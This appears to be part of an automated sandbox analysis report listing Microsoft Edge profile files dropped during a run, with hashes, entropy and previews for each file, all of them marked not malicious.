C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\e02ef73e-c17e-4215-b51a-7fc2ff5b6605.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.231516141205446
Encrypted:	false
SSDEEP:	12:DL+v4YebvqBZFUt8yMX/+xlLV5LYebvqBaJ:s4Yebvyg8yMIlLYebvL
MD5:	5D5B495113C945805323AB6339B00688
SHA1:	403CD903BF36C15E91D1696C9F0811191EB69020
SHA-256:	C160B18A3D6CF1C066E7A70DA056B2B348C35081C78ABD88B47787D354ADAEA9
SHA-512:	4A131113B09B4EE84A82A47ADDA4B606A4FBB55F31D36FCD7240707666A6A8A93F75C8DCA3A4D067F0DDF4E05A0DFE860BE576D51DFE787131E70D50717DA62A
Malicious:	false
Preview:	2024/11/23-22:23:55.291 189c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/23-22:23:55.292 189c Recovering log #3.2024/11/23-22:23:55.294 189c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.231516141205446
Encrypted:	false
SSDEEP:	12:DL+v4YebvqBZFUt8yMX/+xlLV5LYebvqBaJ:s4Yebvyg8yMIlLYebvL
MD5:	5D5B495113C945805323AB6339B00688
SHA1:	403CD903BF36C15E91D1696C9F0811191EB69020
SHA-256:	C160B18A3D6CF1C066E7A70DA056B2B348C35081C78ABD88B47787D354ADAEA9
SHA-512:	4A131113B09B4EE84A82A47ADDA4B606A4FBB55F31D36FCD7240707666A6A8A93F75C8DCA3A4D067F0DDF4E05A0DFE860BE576D51DFE787131E70D50717DA62A
Malicious:	false
Preview:	2024/11/23-22:23:55.291 189c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/23-22:23:55.292 189c Recovering log #3.2024/11/23-22:23:55.294 189c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.163402585876812
Encrypted:	false
SSDEEP:	6:HG+x3cM+q2P923oH+TcwtpIFUt8YG+a9NJZmw+YG+a9NcMVkwO923oH+Tcwta/Wd:mM+v4YebmFUt8b/+2MV5LYebaUJ
MD5:	272B0E692362ACB24189694795C4C09D
SHA1:	AE4BEC2D52796A96D0BCE41A979D45002993194F
SHA-256:	674F1BD6BC4F0E7AE50AB39587129A1E02771CFD6ABBA4A6E859BF501CDEC737
SHA-512:	2C4E84BBEB5115F669DD2A691AEFA51BD0DA873F38EBE1CF0B79FEF474C29E327212F058B82AD0E991819FB9287F7AAB19EF84E886BCD5C4F7DEF9C14FCAD9CD
Malicious:	false
Preview:	2024/11/23-22:23:34.048 18fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/23-22:23:34.049 18fc Recovering log #3.2024/11/23-22:23:34.049 18fc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.163402585876812
Encrypted:	false
SSDEEP:	6:HG+x3cM+q2P923oH+TcwtpIFUt8YG+a9NJZmw+YG+a9NcMVkwO923oH+Tcwta/Wd:mM+v4YebmFUt8b/+2MV5LYebaUJ
MD5:	272B0E692362ACB24189694795C4C09D
SHA1:	AE4BEC2D52796A96D0BCE41A979D45002993194F
SHA-256:	674F1BD6BC4F0E7AE50AB39587129A1E02771CFD6ABBA4A6E859BF501CDEC737
SHA-512:	2C4E84BBEB5115F669DD2A691AEFA51BD0DA873F38EBE1CF0B79FEF474C29E327212F058B82AD0E991819FB9287F7AAB19EF84E886BCD5C4F7DEF9C14FCAD9CD
Malicious:	false
Preview:	2024/11/23-22:23:34.048 18fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/23-22:23:34.049 18fc Recovering log #3.2024/11/23-22:23:34.049 18fc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Visited Links

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.006708043521710664
Encrypted:	false
SSDEEP:	3:ImtVzAAR+WFplsdZ1MXWYKel/Wl/t:IiVzAAfzlsdZKX5NW
MD5:	D9AE7275C73EE77F2B47C0155DF02BE3
SHA1:	065B606857C3CAB983523E329A508142E4E1E04B
SHA-256:	7D5382F4D3F072B3E9F20C0752DBF62BDBE7FE5D09D5B745B08D17FB0E757F7B
SHA-512:	434FC3DFDA90EED48E715E0977DF5A44B2917966BAECE2A44E05BA449CA4AFE0C76C5E607E1BC4E1B56593214B8B1ECA39D08D05B1C2236C16985D487894D6A2
Malicious:	false
Preview:	VLnk.....?......?......+................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2649993761760965
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkM4SAELyKOMq+8yC8F/YfU5m+OlTLVumO:Bq+n0J49ELyKOMq+8y9/OwF
MD5:	D4E9C55939EE6E791EC4BDACD09A6A61
SHA1:	22DAC69302FBF50F42CBE278CF097658B69A5E17
SHA-256:	F6952EF80FB01B81F008ADA6DCDF811F82807472D47A4F8082AE82EE19DC6A91
SHA-512:	6EFFF32B9D8940B4E66B864A1337DB6C8F949A461CDEFEE38776848AE769EBCD72DD55C1C1867F07E91B48D8FC70BF510AACFDE3A95DF199B9D1C3EADF9B106B
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebAssistDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 11, database pages 7, cookie 0xb, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	14336
Entropy (8bit):	1.6402993167420765
Encrypted:	false
SSDEEP:	48:fK3tjkSdj5IUltGhp22iSBge2RDMb926mtKH8h6d5uIE/htO+2RDMb926mtKHj/:ftSjGhp22iSKDW926NfuIIzO5DW926f
MD5:	5AAEEC8639DA38827BB6395FDF06A997
SHA1:	BF639A07A805F9C1D70EBC05BE3B21252A59D14D
SHA-256:	292DE4FDD1EB6C4FB89BB5EAAA3C45192A7EEEF23068435ACE28D205A6CEC535
SHA-512:	FD5C3BCC95E75F8764D35DB8108045E2347BB71CE85F920E687AFDF0B02CC38562C55BF85CDD815488059026084426AB2A82E39388894B1C62140116056D9F2F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..................n..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.39689531567966974
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3U1+B:v7doKsKuKZKlZNmu46yjV
MD5:	28DD4D415CD776104AADAC48A93053E8
SHA1:	1860BBC6ECBF6853485A66E6EED0790924CE7692
SHA-256:	802FE410377F4A75678FC654A75CC3DA28E7BB682A7215BF55505EF4E3FFB910
SHA-512:	52E583C2EB0C25021B406DC200932BA28479E68AD5E8C8E418E9A5747714DF13280B1D5E178A726CD23F4A22C412EF8BEF3AD433B2B52946C838243FD2C29592
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21839026068220535
Encrypted:	false
SSDEEP:	3:IylfNlljq7A/mhWJFuQ3yy7IOWUaml+/dweytllrE9SFcVpNGcV1vG0OV9RUIen:It75fOZQ/d0Xi97pJ1e068n
MD5:	C4FB34FD48828C2088F5C7AC07D82663
SHA1:	8489A6F26B98FAFF5F25FAF8A87A48A431056824
SHA-256:	B47592B309C90E70BD30B9D151226E6C00031996FBF2154FC9B4AC0CE119A85C
SHA-512:	A5A88F313B172D16E53A6AB9A8038DB6908BC4B8E5843D0B5C57F27E2046E268E8E667321F5240CD6FC33C08187B7C44C9568C6920C4E870C484D922E643C495
Malicious:	false
Preview:	...............b........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d2200295-2a23-4d97-a008-0d892ae3747f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561153649267367
Encrypted:	false
SSDEEP:	768:IeBZoG7pLGLPOkWPdpf2y8F1+UoAYDCx9Tuqh0VfUC9xbog/OVhr+NV39kHrwvaa:IeBZomcPOkWPdpf2yu1jaYr+L39kUvaa
MD5:	20048EFA19577BA05E5B19EBF9630EEF
SHA1:	8C7B1D6DA6B3FB76C6A4EA33CE95F7E7F0207DC3
SHA-256:	149B5687E111E41466B847CEDD3A58ECB6E942B25931F17868C0C3AB103A1041
SHA-512:	FF9442617DEC02B954BB11DB676ACDDA13D029AC785658F7CC242011784FA69EC35B269B106C789D9438224DA8198E3AB6815CF52881E26E48AB82E5735DD3C9
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376892213932321","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376892213932321","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.11962779433806563
Encrypted:	false
SSDEEP:	12:fX0vX0qLpEjVl/PnnnnnnnnnnnnnnnvoQDo8AFaL:f4ttoPnnnnnnnnnnnnnnnv2zE
MD5:	E8065F12232886A0D7C403813435495B
SHA1:	8BF146DB0B200A5D63281B658A005C1CC3DBC6FC
SHA-256:	15F7AE59ACEBCC74308A8F43ED73711964B10D09C725B0D60FE92000F1C4C250
SHA-512:	51E2139AF418E4389C711DEFB03E72FA4E36F3475894242317C9FA70F022AD96F180A8D75CEF4C485BB0A62993308EE8141FA7301AC179D405B444F3BCADB6E2
Malicious:	false
Preview:	..-.............a........x...Z~..4..}....d......-.............a........x...Z~..4..}....d............]...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	399672
Entropy (8bit):	1.0507265179895344
Encrypted:	false
SSDEEP:	1536:HK8UnwBQpZxg69ZdWvs8kCGbAPHUQzqZA:5
MD5:	99549E219919A76D158F70217A492D59
SHA1:	744B0F7D12B5C88153B483D7FA49BD038AF25386
SHA-256:	AAA0EF49B54D2125F0BC86AEB7A415B05C8B6310C8AF967C34711113BF370720
SHA-512:	66EEBA84ED11BF5280700ACA02AE6EBB6571B92492C407DF9ABAE848D091AE3430A99AF641B5D212B3AA81DB6DB4D0DE85E2149B06F7DD49765B9BDB8134D140
Malicious:	false
Preview:	7....-...........4..}...8.?L.0.........4..}........C.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	554
Entropy (8bit):	2.9216363788424125
Encrypted:	false
SSDEEP:	6:/XntM+iTl3sedhOKOuuuuuuuuuuuuuuuuuuuuuu:Wlc8NOuuuuuuuuuuuuuuuuuuuuuu
MD5:	D61619D43E13F984BAFB5626BFE8CA44
SHA1:	A13B9610DE0A80F3F53B547672FDFABEAAD4CBEF
SHA-256:	B4803BBA937E3CF6F89C2F0BF2481697F53ED52AF6103D72ECFAB6F9E42A9FEA
SHA-512:	50252957358EE04B0AB8B9E274C5DD5846B3C45206CD375721F7AB4D1DD3FB01343A1F1BAB9E0B915C14CD8B4EEA4589DD69FB5FC83F150217211932A07EF18D
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..}0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.160475416232282
Encrypted:	false
SSDEEP:	6:HG+7N+q2P923oH+TcwtfrK+IFUt8YG+yvJZmw+YG+yv9VkwO923oH+TcwtfrUeLJ:kv4Yeb23FUt8jh/+j75LYeb3J
MD5:	3A32186A89E69C8A02828F1B1F259EA8
SHA1:	E7D944D6E516115CEB7B03BC5C33E0EB068CCCB8
SHA-256:	22836198D4AC8BE4F733971D612DA16A63EFF356F8A125C89978D5AC75491622
SHA-512:	11DCD6061B6FB05917BA5873FA6025A80EAC00E47C448B28CB6B280FC8BFDB12D3B3294EF0A7C1E061D4C0B21F11505641E54288C8AE2C6D3CC8CA5C0A6B1929
Malicious:	false
Preview:	2024/11/23-22:23:34.530 ae8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/23-22:23:34.531 ae8 Recovering log #3.2024/11/23-22:23:34.531 ae8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.160475416232282
Encrypted:	false
SSDEEP:	6:HG+7N+q2P923oH+TcwtfrK+IFUt8YG+yvJZmw+YG+yv9VkwO923oH+TcwtfrUeLJ:kv4Yeb23FUt8jh/+j75LYeb3J
MD5:	3A32186A89E69C8A02828F1B1F259EA8
SHA1:	E7D944D6E516115CEB7B03BC5C33E0EB068CCCB8
SHA-256:	22836198D4AC8BE4F733971D612DA16A63EFF356F8A125C89978D5AC75491622
SHA-512:	11DCD6061B6FB05917BA5873FA6025A80EAC00E47C448B28CB6B280FC8BFDB12D3B3294EF0A7C1E061D4C0B21F11505641E54288C8AE2C6D3CC8CA5C0A6B1929
Malicious:	false
Preview:	2024/11/23-22:23:34.530 ae8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/23-22:23:34.531 ae8 Recovering log #3.2024/11/23-22:23:34.531 ae8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	4.059252238767438
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvB1ys:G0nYUtypD3RUovhC+lvBOL+t3IvB8s
MD5:	D8D8899761F621B63AD5ED6DF46D22FE
SHA1:	23E6A39058AB3C1DEADC0AF2E0FFD0D84BB7F1BE
SHA-256:	A5E0A78EE981FB767509F26021E1FA3C506F4E86860946CAC1DC4107EB3B3813
SHA-512:	4F89F556138C0CF24D3D890717EB82067C5269063C84229E93F203A22028782902FA48FB0154F53E06339F2FDBE35A985CE728235EA429D8D157090D25F15A4E
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.158932739968016
Encrypted:	false
SSDEEP:	6:HG+Qjj+q2P923oH+TcwtfrzAdIFUt8YG+QR0Zmw+YG+QJEUVkwO923oH+Tcwtfrm:c6v4Yeb9FUt8R0/+H5LYeb2J
MD5:	79B143E46402DE7A336F5AEAC9B7C26D
SHA1:	544892F47DBF12F41907A6A463B8313061238D33
SHA-256:	20D85C468F6970B2F32C5FA050F4E20A749767952ACE6F0D28FCF42907D77065
SHA-512:	0BA64AEED99F5C44267952A256EF72B25AE0D07D61EBC10FD91310F986B45CF8698E648031A52FF668D5197712D560F7AB1DDCC9B16203C6169F0A03B123C6AE
Malicious:	false
Preview:	2024/11/23-22:23:34.524 ae8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/23-22:23:34.525 ae8 Recovering log #3.2024/11/23-22:23:34.526 ae8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.158932739968016
Encrypted:	false
SSDEEP:	6:HG+Qjj+q2P923oH+TcwtfrzAdIFUt8YG+QR0Zmw+YG+QJEUVkwO923oH+Tcwtfrm:c6v4Yeb9FUt8R0/+H5LYeb2J
MD5:	79B143E46402DE7A336F5AEAC9B7C26D
SHA1:	544892F47DBF12F41907A6A463B8313061238D33
SHA-256:	20D85C468F6970B2F32C5FA050F4E20A749767952ACE6F0D28FCF42907D77065
SHA-512:	0BA64AEED99F5C44267952A256EF72B25AE0D07D61EBC10FD91310F986B45CF8698E648031A52FF668D5197712D560F7AB1DDCC9B16203C6169F0A03B123C6AE
Malicious:	false
Preview:	2024/11/23-22:23:34.524 ae8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/23-22:23:34.525 ae8 Recovering log #3.2024/11/23-22:23:34.526 ae8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090709248264894
Encrypted:	false
